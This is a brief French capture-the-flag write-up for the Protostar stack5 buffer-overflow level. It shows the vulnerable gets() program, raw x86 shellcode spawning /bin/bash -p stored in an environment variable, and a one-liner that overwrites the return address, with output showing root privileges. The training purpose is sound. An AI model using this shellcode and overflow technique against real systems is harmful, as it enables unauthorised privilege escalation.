#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
Le niveau est le même que le précédent, sauf que cette fois ci nous devons faire sauter le programme sur notre propre shellcode. On décidé de stocker notre shellcode dans une variable d'environnement.
user@protostar:~$ export TLK=$(python -c 'print "\x90"*400+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"') user@protostar:~$ cat stack5.c int main() { printf("addr: %p\n",getenv("TLK")); } user@protostar:~$ gcc stack5.c -o stack5 stack5.c: In function ‘main’: stack5.c:3: warning: incompatible implicit declaration of built-in function ‘printf’ user@protostar:~$ ./stack5 addr: 0xbffffd22 user@protostar:~$ cd /opt/protostar/bin/ user@protostar:/opt/protostar/bin$ (python -c 'print "A"*76+"\x22\xfd\xff\xbf"'; cat) | ./stack5 id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)